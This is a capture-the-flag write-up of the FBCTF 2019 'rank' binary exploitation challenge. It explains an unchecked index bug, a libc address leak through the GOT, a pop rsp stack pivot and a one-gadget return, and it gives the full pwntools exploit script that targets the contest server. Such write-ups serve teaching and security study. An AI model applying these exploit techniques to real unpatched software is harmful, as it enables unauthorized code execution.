FBCTF 2019: rank

Writeup of FBCTF 2019 rank challenge.

I participated in FBCTF 2019 with my team glua.team where we ended 20th place. One of the challenges we solved was rank.

Analysis

The provided binary is a 64-bit ELF file called rank. Furthermore, a libc file called libc-2.27.so was provided. This means that we most likely have to do ret2libc or a onegadget.

Running checksec on the provided binary yields the following result:

ling@sola:~/Documents/ctf/fb/rank$ checksec r4nk
[*] '/home/ling/Documents/ctf/fb/rank/r4nk'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
Output of rank
Figure 1: Output of rank.

Since most security features are enabled, most notably stack canaries, there most likely isn’t going to be a stack buffer overflow.

The program is a simple ranking system. The user is able to show the ranking of all the titles using the show command. This prints all the titles and their respective rank. The other command that is available is rank. This allows the user to change the rank of a title. The output of running the binary can be seen on Figure 1.

Reversing the binary

Opening up the binary in IDA shows that symbols are stripped which makes it a little harder for us. The decompilation of the main function can be seen on Figure 2. Some of the function and variable names have been assigned by me during analysis.

Decompilation of main
Figure 2: Decompilation of main.

This function doesn’t do anything special besides setting a 30 second timeout and calling main_loop. The decompilation of this function is pretty big but the most important part can be seen on Figure 3.

Decompilation of main_loop
Figure 3: Decompilation of main_loop.

The function will get user input as a number in an infite loop. The show command can be issued by entering 1, the rank command by entering 2, and the program will exit by entering 3. The first 2 command each have their own function that will handle all the logic. The show_func function doesn’t do anything special and will just print all the titles. The vulnerability in this binary is present in the rank_func function. The decompilation of this function can be seen on Figure 4.

Decompilation of rank_func
Figure 4: Decompilation of rank_func.

Pwning the binary

This function will get 2 numbers from the user input and then move some data around using this number. Since there are no bounds checks present in this function, this grants us the ability to move any memory we want. The only limitation is that we are limited to an 8 byte boundary. Using this, we can leak the GOT entry for __libc_start_main to get the base address of libc.

1
2
3
4
5
6
7
8
9
10
11
# Step 1: Leak __libc_start_main
rank("0", "-263035")
show()

io.recvuntil("0. ")

LEAK = u64(io.recv(6) + "\x00\x00")
log.info("leak @ " + str(hex(LEAK)))

LIBC = LEAK - libc.symbols.__libc_start_main
log.success("libc @ " + str(hex(LIBC)))

Using this address, we can ROP to a onegadget and get a shell. By issuing the rank command and using title higher than 16, the return pointer can be overwritten. This allows us to ROP to the onegadget. The problem however, is that the address of libc is so high that the call to strtol will turn the number negative as seen on Figure 5.

Sign problem with strtol
Figure 5: Sign problem with strtol.

To get around this problem, we jumped to a pop rsp gadget to pivot the stack. We pointed the new stack pointer to the input buffer. This allowed us to bypass the strtol call and use any characters we wanted.

1
2
3
4
5
6
7
8
9
10
# Step 2: Overwrite return pointer

rank("17", str(int(0x400980))) # pop rsp
rank("18", str(int(0x602120))) # rsp (read buffer)
rank("19", str("0"))	       # garbage

rank("0", "A" * 40 + p64(one_gadget)) # padding + our return pointer

quit()
io.interactive()

By issuing the quit command, we jumped to our stack pivot. After the pivot, the stack would point to our onegadget and we would get a shell.

Full script

The full exploit script we made is available below.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host challenges.fbctf.com --port 1339 r4nk
from pwn import *
import six

# Set up pwntools for the correct architecture
exe = context.binary = ELF('r4nk')
exe_gadgets = ROP(exe)
libc_str = '/lib/x86_64-linux-gnu/libc-2.23.so' if args.LOCAL else './libc-2.27.so'
libc = ELF(libc_str)

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or 'challenges.fbctf.com'
port = int(args.PORT or 1339)

def local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''

b *0x400acd



continue
'''.format(**locals())

'''
b *0x400918

b *0x400968

'''

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    Canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)
# FORTIFY:  Enabled

def rank(title, rank):
	io.sendline("2")
	print io.recv(1024)
	io.sendline(title)
	print io.recv(1024)
	io.sendline(rank)
	print io.recv(1024)

def show():
	io.sendline("1")

def quit():
	io.sendline("3")


io = start()
io.recv(1024)


# Step 1: Leak write
rank("0", "-263035")
show()

io.recvuntil("0. ")

LEAK = u64(io.recv(6) + "\x00\x00")
log.info("leak @ " + str(hex(LEAK)))

LIBC = LEAK - libc.symbols.__libc_start_main
log.success("libc @ " + str(hex(LIBC)))


io.recv(1024)

one_gadget = LIBC + 0x10a38c
log.info("oneshotting @ " + str(hex(one_gadget)))


# Step 2: Overwrite return pointer

rank("17", str(int(0x400980))) # pop rsp
rank("18", str(int(0x602120))) # rsp (read buffer)
rank("19", str("0"))	       # garbage

rank("0", "A" * 40 + p64(one_gadget)) # padding + our return pointer

quit()
io.interactive()